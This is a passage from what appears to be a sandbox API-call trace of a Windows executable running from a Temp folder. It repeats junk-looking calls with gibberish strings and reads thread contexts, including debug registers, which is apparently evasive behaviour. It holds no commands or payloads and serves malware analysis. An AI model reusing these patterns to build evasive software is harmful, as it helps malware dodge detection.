[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.299] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.300] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.300] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.300] GetConsoleCP () returned 0x0
	[0066.300] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.300] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.300] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.300] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.300] GetConsoleCP () returned 0x0
	[0066.300] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.301] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.301] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.301] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.301] GetConsoleCP () returned 0x0
